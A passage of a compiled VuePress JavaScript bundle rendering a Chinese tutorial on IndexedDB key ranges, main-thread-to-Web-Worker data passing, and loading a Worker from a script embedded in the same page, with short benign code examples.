"),s("li",[s("code",[t._v("IDBKeyRange.bound()")]),t._v("：同时指定上下限。")]),t._v(" "),s("li",[s("code",[t._v("IDBKeyRange.only()")]),t._v("：指定只包含一个值。")])]),t._v(" "),s("p",[t._v("下面是一些代码实例。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// All keys ≤ x")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" r1 "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" IDBKeyRange"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("upperBound")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("x"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// All keys < x")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" r2 "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" IDBKeyRange"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("upperBound")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("x"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("true")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// All keys ≥ y")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" r3 "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" IDBKeyRange"),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("h3",{attrs:{id:"_3、数据通信"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3、数据通信"}},[t._v("#")]),t._v(" 3、数据通信")]),t._v(" "),s("p",[t._v("前面说过，主线程与 Worker 之间的通信内容，可以是文本，也可以是对象。需要注意的是，这种通信是拷贝关系，即是传值而不是传址，Worker 对通信内容的修改，不会影响到主线程。事实上，浏览器内部的运行机制是，先将通信内容串行化，然后把串行化后的字符串发给 Worker，后者再将它还原。")]),t._v(" "),s("p",[t._v("主线程与 Worker 之间也可以交换二进制数据，比如 File、Blob、ArrayBuffer 等类型，也可以在线程之间发送。下面是一个例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 主线程")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("h3",{attrs:{id:"_4、同页面的-web-worker"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4、同页面的-web-worker"}},[t._v("#")]),t._v(" 4、同页面的 Web Worker")]),t._v(" "),s("p",[t._v("通常情况下，Worker 载入的是一个单独的 JavaScript 脚本文件，但是也可以载入与主线程在同一个网页的代码。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token doctype"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<!")]),s("span",{pre:!0,attrs:{class:"token doctype-tag"}},[t._v("DOCTYPE")]),t._v(" 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br")])]),s("p",[t._v("上面是一段嵌入网页的脚本，注意必须指定``标签的"),s("code",[t._v("type")]),t._v("属性是一个浏览器不认识的值，上例是"),s("code",[t._v("app/worker")]),t._v("。")]),t._v(" "),s("p",[t._v("然后，读取这一段嵌入页面的脚本，用 Worker 来处理。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" blob 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noreferrer"}},[t._v("https://wangdoc.com/javascript/"),s("OutboundLink")],1)])])}),[],!1,null,null,null);s.default=e.exports}}]);